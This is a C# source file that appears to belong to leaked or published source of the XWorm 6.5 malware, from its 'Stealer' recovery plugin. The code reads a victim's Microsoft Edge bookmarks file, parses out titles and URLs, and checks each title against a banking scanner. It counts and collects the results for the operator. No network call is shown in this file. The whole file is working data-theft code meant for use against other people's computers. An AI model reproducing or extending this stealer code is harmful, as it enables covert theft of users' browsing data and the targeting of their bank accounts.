Files
XWorm-6.5-Source/Plugins/Recovery/Recovery/Stealer/Edge/Bookmarks.cs
T
2026-08-27 11:22:34 -06:00

63 lines
1.6 KiB
C#

using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Text.RegularExpressions;
using Stealer.Chromium;
namespace Stealer.Edge
{
internal sealed class Bookmarks
{
public static List<Bookmark> Get(string sBookmarks)
{
try
{
List<Bookmark> list = new List<Bookmark>();
if (!File.Exists(sBookmarks))
{
return list;
}
string input = File.ReadAllText(sBookmarks, Encoding.UTF8);
input = Regex.Split(input, " \"bookmark_bar\": {")[1];
input = Regex.Split(input, " \"other\": {")[0];
string[] array = Regex.Split(input, "},");
string[] array2 = array;
foreach (string text in array2)
{
if (!text.Contains("\"name\": \"") || !text.Contains("\"type\": \"url\",") || !text.Contains("\"url\": \"http"))
{
continue;
}
int num = 0;
string[] array3 = Regex.Split(text, Parser.separator);
foreach (string data in array3)
{
num++;
Bookmark bookmark = new Bookmark
{
type = "Edge"
};
if (Parser.DetectTitle(data))
{
bookmark.sTitle = Parser.Get(text, num);
bookmark.sUrl = Parser.Get(text, num + 3);
if (!string.IsNullOrEmpty(bookmark.sTitle) && !string.IsNullOrEmpty(bookmark.sUrl) && !bookmark.sUrl.Contains("Failed to parse url"))
{
Banking.ScanData(bookmark.sTitle);
Counter.Bookmarks++;
list.Add(bookmark);
}
}
}
}
return list;
}
catch
{
return new List<Bookmark>();
}
}
}
}